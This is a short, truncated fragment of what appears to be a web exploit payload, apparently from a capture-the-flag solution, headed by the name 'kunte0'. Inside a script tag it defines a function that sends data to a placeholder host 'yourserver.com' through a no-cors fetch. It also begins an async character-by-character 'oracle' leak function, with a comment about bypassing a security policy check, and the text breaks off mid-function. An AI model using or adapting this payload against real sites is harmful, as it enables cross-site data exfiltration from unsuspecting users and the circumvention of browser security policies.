kunte0

<script> 

payload = () => {
    const sendback = (msg) => {
        fetch(`https://yourserver.com/aaaaaaaa?xxxx=${msg}`, {mode: 'no-cors'})
    } 
    
    async function oracle(pos, charCode, retries=3) {
        try {
            // bypass the SecurityPolicy check. It is checked after a potential error